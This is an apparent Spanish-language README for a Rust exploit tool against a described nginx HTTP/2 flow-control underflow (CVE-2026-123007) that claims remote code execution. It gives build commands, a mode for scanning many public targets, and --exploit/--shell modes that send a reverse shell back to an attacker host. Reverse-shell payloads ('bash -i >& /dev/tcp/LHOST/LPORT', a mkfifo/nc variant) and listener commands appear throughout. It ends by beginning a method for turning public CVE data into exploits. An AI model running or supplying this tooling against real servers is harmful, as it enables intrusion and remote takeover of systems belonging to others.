Nota de investigación: Convertir inteligencia pública en un exploit de root (Caso de estudio: CVE-2026-123007)
Un cliente de exploit para CVE-2026-123007 (un underflow de entero en el control de flujo de HTTP/2 en nginx que puede conducir a RCE con los privilegios del worker). Un único binario en Rust. No se requiere instalación, compilación ni despliegue de nginx: la herramienta solo se comunica con un objetivo que ya existe (un servidor nginx público, o una instancia localhost que configures tú mismo).
¿Solo quieres demostrar el CVE? Lee
PROOF.md. Un comando, ~14 MiB, sin listener/perfil/119 GiB:poc --host https://TARGET/ --safe(--proofes un alias).--exploit/--shella continuación son para la cadena RCE completa.
# 1. build (once)
cargo build --release
# 2. check whether a target is vulnerable — safe, no crash, ~14 MiB
./target/release/poc --host https://target.example --safe
# 3. many targets at once (one URL per line)
./target/release/poc --targets targets.txt --safe
# or several URLs directly
./target/release/poc --hosts https://a.example --hosts https://b.example
Sin flag de modo, el valor predeterminado es --safe (económico y seguro).
Salida exitosa:
[+] CVE-2026-123007 PROOF: VULNERABLE
target: https://target.example/ resource: /index.html
observed: server=Some("nginx/1.31.8") settings=[...] body=896 bytes
[1] queued-DATA refund : PASS (2 streams reset with FLOW_CONTROL_ERROR=3)
[2] public-byte release : PASS (10 bytes returned)
[3] underflowed WU guard : PASS (post-refund PING ACK)
[4] connection still usable: PASS
no memory corruption, no crash, no shell
VULNERABLE significa que el fallo de contabilidad se demostró en ese objetivo. NOT PROVEN
significa que el objetivo no lo mostró (parcheado, no es HTTP/2, cuerpo demasiado pequeño, o se
necesita un recurso diferente). Códigos de salida: 0 vulnerable, 4 no demostrado.
La ruta se puede indicar en --host o explícitamente con --path:
./target/release/poc --host https://target.example/landing --safe # resource /landing
./target/release/poc --host https://target.example --safe --path /large-file.bin
--safe requiere HTTPS + HTTP/2 (ALPN h2) y un recurso de 521–8192
bytes que soporte Range. El mensaje de error informa el tamaño de onda calculado
cuando el cuerpo está fuera de ese rango.
| Modo | Qué demuestra | Tráfico | Tiempo |
|---|---|---|---|
--safe | bug de contabilidad + guard con underflow, sin corrupción | ~14 MiB | segundos |
--exploit | cadena completa, payload despachado | ~119 GiB | minutos |
--shell | cadena completa + id/whoami/date/uname -a | ~119 GiB | minutos |
Para responder "¿es vulnerable el objetivo?", --safe es suficiente. Cientos de GB se
usan solo cuando se ejecuta realmente RCE.
--targets (lista de objetivos)Un origen por línea; las líneas vacías y los # comentarios se ignoran:
# example targets.txt
https://target-a.example
https://target-b.example:8443
Las líneas http://... se marcan como SKIP porque --safe requiere TLS + ALPN h2
(los objetivos solo con HTTP/1.1 también se marcan como SKIP/NOT PROVEN). --targets es solo para
--safe; para la explotación, ejecuta un objetivo a la vez con --host.
Se imprime una línea de resultado por objetivo, seguida de un resumen
N tested, M vulnerable.
--exploit y --shellEstos requieren un objetivo que coincida con un perfil embebido (nginx 1.31.8
Debian 13 amd64, glibc 2.41, CPU objetivo con avx512f + avx512vl, 4 workers,
/index.html de 896 bytes). También se incluye un perfil 1.31.6. Sin una coincidencia,
--safe aún puede responder a la pregunta de vulnerabilidad, pero la cadena RCE
no se ejecutará.
Elige un flujo de trabajo, no ambos (de lo contrario, el puerto entra en conflicto):
Flujo de trabajo A — --shell (el más simple; la herramienta escucha):
./target/release/poc --host https://target --shell --lhost ATTACKER_IP --yes
# do not run nc/socat: the tool already listens on 0.0.0.0:4444
Flujo de trabajo B — --exploit + un listener manual:
# macOS / BSD:
nc -lv 4444
# Linux (nc/OpenBSD):
nc -lvnp 4444
# cross-platform alternative: socat TCP-LISTEN:4444,fork -
# dispatch the payload (prints the listener command and payload before the bulk)
./target/release/poc --host https://target.example --exploit \
--lhost 203.0.113.10 --lport 4444 --yes
--exploit no escucha por sí mismo; la salida 0 solo significa que el payload fue
enviado (DISPATCHED (unconfirmed)). Tu listener es la evidencia.
Alternativamente, deja que la herramienta escuche y verifique la shell:
./target/release/poc --host https://target.example --shell \
--lhost 203.0.113.10 --lport 4444 --yes
# optional: --interactive to relay stdin/stdout after verification
--shell envía id; whoami; date; uname -a; echo __OK__ y solo informa
SHELL OK cuando la salida contiene uid=. Códigos de salida: 0 shell verificado,
1 error de etapa, 2 vulnerable pero la cadena no finalizó, 3 despachado
sin shell, 4 no probado.
Payload predeterminado: bash -i >& /dev/tcp/LHOST/LPORT 0>&1 (límite de 120 bytes).
Sin bash, use --cmd, por ejemplo
rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc LHOST LPORT >/tmp/f.
Linux: se requieren libssl-dev + pkg-config. macOS (Homebrew):
brew install openssl@3 pkg-config
export PKG_CONFIG_PATH="$(brew --prefix openssl@3)/lib/pkgconfig"
cargo build --release
Sin PKG_CONFIG_PATH, el crate openssl toma LibreSSL y falla.
El binario es target/release/poc.
target does not negotiate HTTP/2 (ALPN h2) over TLS — HTTP/2 está desactivado en
ese listener (o el objetivo es solo HTTP/1.1).safe mode needs a response body of 521..8192 bytes — apunta --path a
un archivo estático más grande.cleanup-overcredit oracle failed — el objetivo está parcheado, o un
proxy/CDN no está pasando los frames HTTP/2 sin cambios.in-band HTTP/2 fingerprint matches no validated profile — una
compilación/versión diferente; --safe sigue siendo válido, --exploit necesita un perfil calibrado.DISPATCHED, NO SHELL — el payload se ejecutó pero no pudo alcanzar --lhost
(firewall/NAT), o falta bash. Usa --cmd con un oráculo observable.POC_KEYUPDATES — un ajuste de depuración que acorta el vuelo de arranque; no
forma parte de una ejecución real.Esta sección no es necesaria para probar un objetivo. scripts/validate-safe.sh compila
nginx 1.31.8 y 1.31.10 desde un árbol de fuentes local y verifica VULNERABLE /
NOT PROVEN — prueba la herramienta, no prepara un objetivo de explotación. Resultados
en el host de desarrollo:
VULNERABLE (salida 0)NOT PROVEN (salida 4)La cadena completa necesita un objetivo x86-64 + AVX512; los límites se describen en la sección técnica a continuación. Las notas de diseño y los planes de implementación se conservan en el árbol de trabajo local y no se publican.
Esta sección es una nota de metodología: cómo pasar de "se anunció un CVE crítico esta mañana" a un verificador y exploit funcionales, usando solo material público y el propio software vulnerable. No se asumen detalles privados del bug ni código de exploit ya hecho.
Empieza por los registros autoritativos, no por las entradas de blog: